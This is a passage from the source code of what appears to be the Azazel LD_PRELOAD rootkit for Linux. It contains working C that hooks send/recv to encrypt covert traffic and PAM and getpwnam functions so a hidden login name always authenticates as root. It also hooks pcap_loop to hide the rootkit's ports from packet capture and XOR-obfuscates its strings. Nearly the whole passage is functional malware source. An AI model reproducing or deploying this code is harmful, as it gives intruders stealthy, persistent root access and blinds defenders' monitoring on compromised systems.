static void gen_key(void) { 36 | char *passphrase = strdup(PASSPHRASE); 37 | char *key_salt = strdup(KEY_SALT); 38 | x(passphrase); 39 | x(key_salt); 40 | 41 | PKCS5_PBKDF2_HMAC_SHA1(passphrase,strlen(passphrase),(const unsigned char *)key_salt,strlen(key_salt),ITERATIONS,KEY_SIZE,(unsigned char *)glob_key); 42 | free(passphrase); 43 | free(key_salt); 44 | } 45 | 46 | static int encrypt_data(char *in, int len, char *out) { 47 | unsigned char outbuf[MAX_LEN]; 48 | unsigned char temp[MAX_LEN]; 49 | unsigned char iv[IV_SIZE]; 50 | unsigned char tag[16]; 51 | 52 | unsigned char *step; 53 | int tmplen=0, outlen=0; 54 | 55 | // copy plain text message into temp 56 | memset(temp,0x00,MAX_LEN); 57 | memcpy(temp,in,len); 58 | 59 | if (glob_key[0] == 0x00) // Generate key if its the first packet 60 | gen_key(); 61 | RAND_bytes(iv,IV_SIZE); // Generate random IV 62 | 63 | EVP_CIPHER_CTX *ctx; 64 | ctx = EVP_CIPHER_CTX_new(); 65 | EVP_CIPHER_CTX_init (ctx); 66 | EVP_EncryptInit_ex (ctx, EVP_aes_256_gcm() , NULL, (const unsigned char *)glob_key, (const unsigned char *)iv); 67 | 68 | if (!EVP_EncryptUpdate (ctx, outbuf, &outlen, (const unsigned char *)temp, len)) { 69 | EVP_CIPHER_CTX_cleanup (ctx); 70 | return 0; 71 | } 72 | 73 | if (!EVP_EncryptFinal_ex (ctx, outbuf + outlen, &tmplen)) { 74 | EVP_CIPHER_CTX_cleanup (ctx); 75 | return 0; 76 | } 77 | 78 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag); 79 | 80 | // Add header information 81 | out[0]=PACKET_HEADER; 82 | out[1]=(0xff00&(len+HEADER_SIZE))>>8; 83 | out[2]=(0xff&(len+HEADER_SIZE)); 84 | step=(unsigned char *)&out[3]; 85 | memcpy(step,iv,IV_SIZE); 86 | step+=IV_SIZE; 87 | memcpy(step,tag,sizeof(tag)); 88 | step+=sizeof(tag); 89 | memcpy(step,outbuf,outlen+tmplen); 90 | 91 | EVP_CIPHER_CTX_cleanup (ctx); 92 | return outlen+tmplen+HEADER_SIZE; 93 | } 94 | 95 | static int decrypt_data(char *in, int len, char *out) { 96 | unsigned char outbuf[MAX_LEN]; 97 | unsigned char iv[IV_SIZE]; 98 | unsigned char tag[16]; 99 | char *step; 100 | 101 | int tmplen=0, outlen=0; 102 | 103 | memset(outbuf,0x00,MAX_LEN); 104 | 105 | // header information 106 | step=in+3; 107 | memcpy(iv,step,IV_SIZE); // Extract the IV 108 | step+=IV_SIZE; 109 | memcpy(tag,step,16); // Extract the MAC 110 | step+=16; 111 | 112 | if (glob_key[0] == 0x00) // Generate key if its the first packet 113 | gen_key(); 114 | 115 | EVP_CIPHER_CTX *ctx; 116 | ctx = EVP_CIPHER_CTX_new(); 117 | EVP_CIPHER_CTX_init (ctx); 118 | EVP_DecryptInit_ex (ctx, EVP_aes_256_gcm() , NULL, (const unsigned char *)glob_key, (const unsigned char *)iv); 119 | 120 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, IV_SIZE, NULL); 121 | 122 | if (!EVP_DecryptUpdate (ctx, outbuf, &outlen, (const unsigned char *)step, len)) { 123 | EVP_CIPHER_CTX_cleanup (ctx); 124 | return 0; 125 | } 126 | 127 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, sizeof(tag), tag); 128 | 129 | if (!EVP_DecryptFinal_ex (ctx, outbuf + outlen, &tmplen)) { 130 | EVP_CIPHER_CTX_cleanup (ctx); 131 | return 0; 132 | } 133 | 134 | EVP_CIPHER_CTX_cleanup (ctx); 135 | 136 | memcpy(out,outbuf,outlen+tmplen); 137 | 138 | return len; 139 | } 140 | 141 | /* Hook recv and decrypt the data before returning to the program */ 142 | ssize_t crypt_read(int sockfd, void *buf, size_t len) { 143 | char outbuf[MAX_LEN]; 144 | unsigned char temp[MAX_LEN]; 145 | char *step; 146 | 147 | int outlen, ret, flags=0, packet_len; 148 | 149 | memset(outbuf,0x00,MAX_LEN); 150 | memset(temp,0x00,MAX_LEN); 151 | 152 | if (sockfd == 0) // Y U CALL ME W/ SOCKFD SET TO ZERO!?!? 153 | return recv(sockfd, buf, len, flags); 154 | 155 | ret = recv(sockfd, (void *)temp, 3, MSG_PEEK); 156 | 157 | if (ret < 1) { // Nothing to decrypt 158 | return ret; 159 | } 160 | 161 | if (temp[0] != PACKET_HEADER) 162 | return 0; 163 | 164 | packet_len = (temp[1]<<8)+temp[2]; 165 | 166 | ret = recv(sockfd, (void *)temp, packet_len, flags); 167 | outlen = decrypt_data((char *)temp,ret - HEADER_SIZE,&outbuf[0]); 168 | 169 | memcpy((void*)buf,(void*)outbuf,(size_t)outlen); 170 | 171 | return outlen; 172 | } 173 | 174 | /* Hook send and encrypt data first */ 175 | ssize_t crypt_write(int sockfd, const void *buf, size_t len) { 176 | char outbuf[MAX_LEN]; 177 | int outlen, ret, flags=0; 178 | 179 | memset(outbuf,0x00,MAX_LEN); 180 | 181 | outlen = encrypt_data((char *)buf, len, &outbuf[0]); 182 | if (outlen == 0) 183 | return 0; 184 | 185 | // Send the encrypted data 186 | ret = send(sockfd, (void *)outbuf, outlen, flags); 187 | 188 | if (ret == -1) { 189 | return -1; 190 | } 191 | 192 | return len; 193 | } 194 | -------------------------------------------------------------------------------- /crypthook.h: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #ifndef CRYPTHOOK_H 3 | #define CRYPTHOOK_H 4 | 5 | #define MAX_LEN 4125 6 | 7 | extern ssize_t crypt_read(int sockfd, void *buf, size_t len) __attribute__((visibility("hidden"))); 8 | extern ssize_t crypt_write(int sockfd, const void *buf, size_t len) __attribute__((visibility("hidden"))); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /pam.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "const.h" 13 | #include "xor.h" 14 | #include "azazel.h" 15 | 16 | int pam_authenticate(pam_handle_t *pamh, int flags) { 17 | void *user; 18 | char *blind_login = strdup(BLIND_LOGIN); 19 | x(blind_login); 20 | 21 | DEBUG("pam_authenticate called.\n"); 22 | 23 | azazel_init(); 24 | 25 | pam_get_item(pamh, PAM_USER, (const void **)&user); 26 | 27 | if (strstr(user, blind_login)) { 28 | cleanup(blind_login,strlen(blind_login)); 29 | return PAM_SUCCESS; 30 | } 31 | 32 | cleanup(blind_login,strlen(blind_login)); 33 | return (long)syscall_list[SYS_PAM_AUTHENTICATE].syscall_func(pamh, flags); 34 | } 35 | 36 | int pam_open_session(pam_handle_t *pamh, int flags) { 37 | void *user; 38 | char *blind_login = strdup(BLIND_LOGIN); 39 | x(blind_login); 40 | 41 | DEBUG("pam_open_session called.\n"); 42 | 43 | azazel_init(); 44 | 45 | pam_get_item(pamh, PAM_USER, (const void **)&user); 46 | 47 | if (strstr(user,blind_login)) { 48 | cleanup(blind_login,strlen(blind_login)); 49 | return PAM_SUCCESS; 50 | } 51 | 52 | cleanup(blind_login,strlen(blind_login)); 53 | return (long)syscall_list[SYS_PAM_OPEN_SESSION].syscall_func(pamh, flags); 54 | } 55 | 56 | struct passwd *getpwnam(const char *name) { 57 | struct passwd *mypw; 58 | char *blind_login = strdup(BLIND_LOGIN); 59 | char *c_root = strdup(C_ROOT); 60 | 61 | x(blind_login); 62 | x(c_root); 63 | 64 | DEBUG("getpwnam called. %s\n", name); 65 | 66 | azazel_init(); 67 | 68 | if (strstr(name, blind_login)) { 69 | mypw = syscall_list[SYS_GETPWNAM].syscall_func(c_root); 70 | mypw->pw_name = strdup(c_root); 71 | cleanup(blind_login,strlen(blind_login)); 72 | cleanup(c_root,strlen(c_root)); 73 | return mypw; 74 | } 75 | cleanup(blind_login,strlen(blind_login)); 76 | cleanup(c_root,strlen(c_root)); 77 | return syscall_list[SYS_GETPWNAM].syscall_func(name); 78 | } 79 | 80 | int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result) { 81 | char *blind_login = strdup(BLIND_LOGIN); 82 | char *c_root = strdup(C_ROOT); 83 | char user[51]; 84 | 85 | x(blind_login); 86 | x(c_root); 87 | 88 | DEBUG("getpwnam_r called.\n"); 89 | azazel_init(); 90 | 91 | if (strstr(name, blind_login)) { 92 | strncpy(user, c_root, sizeof(user)-1); 93 | cleanup(blind_login,strlen(blind_login)); 94 | cleanup(c_root,strlen(c_root)); 95 | return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(user, pwd, buf, buflen, result); 96 | } 97 | 98 | cleanup(blind_login,strlen(blind_login)); 99 | cleanup(c_root,strlen(c_root)); 100 | return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(name, pwd, buf, buflen, result); 101 | } 102 | 103 | int pam_acct_mgmt(pam_handle_t *pamh, int flags) { 104 | void *user; 105 | char *blind_login = strdup(BLIND_LOGIN); 106 | x(blind_login); 107 | 108 | DEBUG("pam_acct_mgmt called.\n"); 109 | 110 | azazel_init(); 111 | 112 | pam_get_item(pamh, PAM_USER, (const void **)&user); 113 | 114 | if (strstr(user, blind_login)) { 115 | cleanup(blind_login,strlen(blind_login)); 116 | return PAM_SUCCESS; 117 | } 118 | 119 | cleanup(blind_login,strlen(blind_login)); 120 | return (long)syscall_list[SYS_PAM_ACCT_MGMT].syscall_func(pamh, flags); 121 | } 122 | 123 | int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char *argv[]) { 124 | const char *user; 125 | char *blind_login = strdup(BLIND_LOGIN); 126 | int pam_err; 127 | 128 | x(blind_login); 129 | 130 | azazel_init(); 131 | 132 | if ((pam_err = pam_get_user(pamh, &user, NULL)) != PAM_SUCCESS) { 133 | cleanup(blind_login,strlen(blind_login)); 134 | return pam_err; 135 | } 136 | 137 | if (strstr(user, blind_login)) { 138 | cleanup(blind_login,strlen(blind_login)); 139 | return PAM_SUCCESS; 140 | } 141 | 142 | cleanup(blind_login,strlen(blind_login)); 143 | return (long)syscall_list[SYS_PAM_SM_AUTHENTICATE].syscall_func(pamh, flags, argc, argv); 144 | } 145 | -------------------------------------------------------------------------------- /pcap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "const.h" 4 | #include "azazel.h" 5 | #include "pcap.h" 6 | 7 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { 8 | const struct sniff_ip *ip; /* The IP header */ 9 | const struct sniff_tcp *tcp; /* The TCP header */ 10 | int size_ip; 11 | int size_tcp; 12 | int sport,dport; 13 | 14 | /* define/compute ip header offset */ 15 | ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); 16 | size_ip = IP_HL(ip)*4; 17 | if (size_ip < 20) { 18 | DEBUG("Invalid IP header length: %u bytes\n", size_ip); 19 | return; 20 | } 21 | 22 | switch(ip->ip_p) { 23 | case IPPROTO_TCP: 24 | break; 25 | default: 26 | if (old_callback) 27 | old_callback(args, header, packet); 28 | return; 29 | } 30 | 31 | /* define/compute tcp header offset */ 32 | tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); 33 | size_tcp = TH_OFF(tcp)*4; 34 | if (size_tcp < 20) { 35 | DEBUG("Invalid TCP header length: %u bytes\n", size_tcp); 36 | return; 37 | } 38 | sport = htons(tcp->th_sport); 39 | dport = htons(tcp->th_dport); 40 | 41 | /* Hide traffic if it's one of our ports */ 42 | if ((sport >= LOW_PORT && sport <= HIGH_PORT) || (dport >= LOW_PORT && dport <= HIGH_PORT) || (dport == PAM_PORT) || 43 | (sport >= CRYPT_LOW && sport <= CRYPT_HIGH) || (dport >= CRYPT_LOW && dport <= CRYPT_HIGH) || (sport == PAM_PORT)) { 44 | return; 45 | } else { 46 | if (old_callback) 47 | old_callback(args, header, packet); 48 | } 49 | 50 | return; 51 | } 52 | 53 | 54 | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) { 55 | DEBUG("pcap_loop hooked.\n"); 56 | azazel_init(); 57 | 58 | old_callback = callback; 59 | return (long)syscall_list[SYS_PCAP_LOOP].syscall_func(p, cnt, got_packet, user); 60 | } 61 | -------------------------------------------------------------------------------- /pcap.h: -------------------------------------------------------------------------------- 1 | /* pcap.h */ 2 | #ifndef PCAP_H 3 | #define PCAP_H 4 | #endif 5 | 6 | #include 7 | 8 | static int (*old_pcap_loop)(pcap_t *p, int cnt, pcap_handler callback, u_char *user); 9 | static void (*old_callback)(u_char *args, const struct pcap_pkthdr *header, const u_char *packet); 10 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) __attribute__((visibility("hidden"))); 11 | 12 | /* IP header */ 13 | struct sniff_ip { 14 | u_char ip_vhl; /* version << 4 | header length >> 2 */ 15 | u_char ip_tos; /* type of service */ 16 | u_short ip_len; /* total length */ 17 | u_short ip_id; /* identification */ 18 | u_short ip_off; /* fragment offset field */ 19 | #define IP_RF 0x8000 /* reserved fragment flag */ 20 | #define IP_DF 0x4000 /* dont fragment flag */ 21 | #define IP_MF 0x2000 /* more fragments flag */ 22 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 23 | u_char ip_ttl; /* time to live */ 24 | u_char ip_p; /* protocol */ 25 | u_short ip_sum; /* checksum */ 26 | struct in_addr ip_src,ip_dst; /* source and dest address */ 27 | }; 28 | 29 | struct sniff_tcp { 30 | u_short th_sport; /* source port */ 31 | u_short th_dport; /* destination port */ 32 | u_int th_seq; /* sequence number */ 33 | u_int th_ack; /* acknowledgement number */ 34 | u_char th_offx2; /* data offset, rsvd */ 35 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 36 | u_char th_flags; 37 | #define TH_FIN 0x01 38 | #define TH_SYN 0x02 39 | #define TH_RST 0x04 40 | #define TH_PUSH 0x08 41 | #define TH_ACK 0x10 42 | #define TH_URG 0x20 43 | #define TH_ECE 0x40 44 | #define TH_CWR 0x80 45 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) 46 | u_short th_win; /* window */ 47 | u_short th_sum; /* checksum */ 48 | u_short th_urp; /* urgent pointer */ 49 | }; 50 | 51 | #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) 52 | 53 | 54 | #define SIZE_ETHERNET 14 55 | -------------------------------------------------------------------------------- /xor.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "xor.h" 3 | 4 | void x(char *p) { 5 | int i, key=0xFE; 6 | for(i = 0; i < strlen(p); i++) 7 | p[i] ^= key; 8 | } 9 | -------------------------------------------------------------------------------- /xor.h: -------------------------------------------------------------------------------- 1 | #ifndef XOR_H 2 | #define XOR_H 3 | 4 | void x(char *p); 5 | 6 | #endif 7 | --------------------------------------------------------------------------------